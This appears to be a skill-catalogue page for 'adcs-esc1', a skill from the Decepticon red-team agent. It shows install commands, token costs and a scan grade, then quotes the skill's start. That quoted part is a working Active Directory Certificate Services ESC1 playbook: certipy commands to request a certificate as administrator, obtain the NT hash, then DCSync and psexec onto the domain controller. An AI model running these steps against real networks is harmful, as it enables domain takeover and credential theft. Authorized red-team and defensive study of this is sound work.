Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill adcs-esc1git clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/adcs-esc1)<a href="https://agentmods.dev/skills/purpleailab/decepticon/adcs-esc1"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/adcs-esc1/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/adcs-esc1"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/adcs-esc1.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00030 | $0.01306 |
| Opus 5 | $0.00015 | $0.00653 |
| Sonnet 5 | $0.00006 | $0.00261 |
| Haiku 4.5 | $0.00003 | $0.00131 |
Grade A, and why
adcs-esc1 scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- adcs-esc1 — 94% identical, 5 lines differ
How it starts
The opening of the file, as written. The whole thing — 132 lines — stays where its author put it; the contents beside it link to each section on GitHub.
ADCS ESC1 Exploitation
ESC1 is the most common ADCS misconfig: a certificate template with ENROLLEE_SUPPLIES_SUBJECT set, allowing any enrollee to request a cert for any user. Pair with Client Authentication EKU → authenticate as that user via PKINIT → instant domain admin.
1. Enumerate templates
# Certipy (preferred)
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \
-output /tmp/adcs -text -stdout > /tmp/adcs.txt
# Or check JSON
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \
-output /tmp/adcs.json
Decepticon ingest:
adcs_audit("/tmp/adcs.json")
2. Identify ESC1 candidates
A template is ESC1-vulnerable when ALL true:
Enrollment Rightsincludes a group the attacker is in (Domain Users / Authenticated Users is jackpot)Client Authentication EKUorSmart Card Logon EKUorAny PurposeEnrollee Supplies Subjectflag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)Manager ApprovaldisabledAuthorized Signatures Requiredis 0
certipy output marks these clearly:
[!] Vulnerabilities
ESC1 : 'DOMAIN\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
3. Request the cert as Domain Admin
certipy req -u USER@DOM -p 'PASS' -ca CA_NAME \
-target CA_FQDN -template VULNERABLE_TEMPLATE \
-upn 'administrator@dom' \
-dc-ip DC_IP \
-out /tmp/admin.pfx
The magic is -upn administrator@dom — because ENROLLEE_SUPPLIES_SUBJECT
is set, the CA issues a cert with that UPN even though we're a regular
user requesting it.
4. Authenticate as Domain Admin
PKINIT (cert → TGT):
certipy auth -pfx /tmp/admin.pfx -dc-ip DC_IP
# Output: TGT cached, NT hash printed
You get back:
- A TGT in
administrator.ccache(use w/export KRB5CCNAME=...) - The NT hash of administrator (because PKINIT replies include the user's NT hash for legacy compat)
5. Operate as Domain Admin
With NT hash:
# DCSync
secretsdump.py -hashes :NT_HASH 'DOM/administrator@DC_IP' -just-dc
# Shell on DC
psexec.py -hashes :NT_HASH 'DOM/administrator@DC_IP'
# Or use the ccache TGT directly
export KRB5CCNAME=/tmp/administrator.ccache
smbclient.py -k -no-pass 'DC@DC_IP'
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 10d ago First seen · 132 lines · 30 tokens per session scan A 1ac6363ad9ca
adcs-esc1 is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,471 stars, last pushed 10d ago), licensed Apache-2.0. It adds 30 tokens to every session and 1,306 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.
onboarding
First-time user onboarding to set up investment profile, watchlists, portfolio, and preferences.
idea-generation
Stock screening and idea generation: quantitative screens, thematic analysis, shortlist.
python-lib-analyzer
Analyze any Python library structure, explore modules, classes, and functions with signatures and documentation.
analyzing-windows-prefetch-with-python
Use when parse Windows Prefetch files using the windowsprefetch Python library to reconstruct application execution history, detect renamed or masquerading binaries, and identify suspicious program execution patterns. Use when working with analyzing windows prefetch with python.
implementing-zero-trust-with-beyondcorp
Use when deploy Google BeyondCorp Enterprise zero trust access controls using Identity-Aware Proxy (IAP), context-aware access policies, device trust validation, and Access Context Manager to enforce identity and posture-based access to GCP resources and internal applications. Use when deploying google beyondcorp…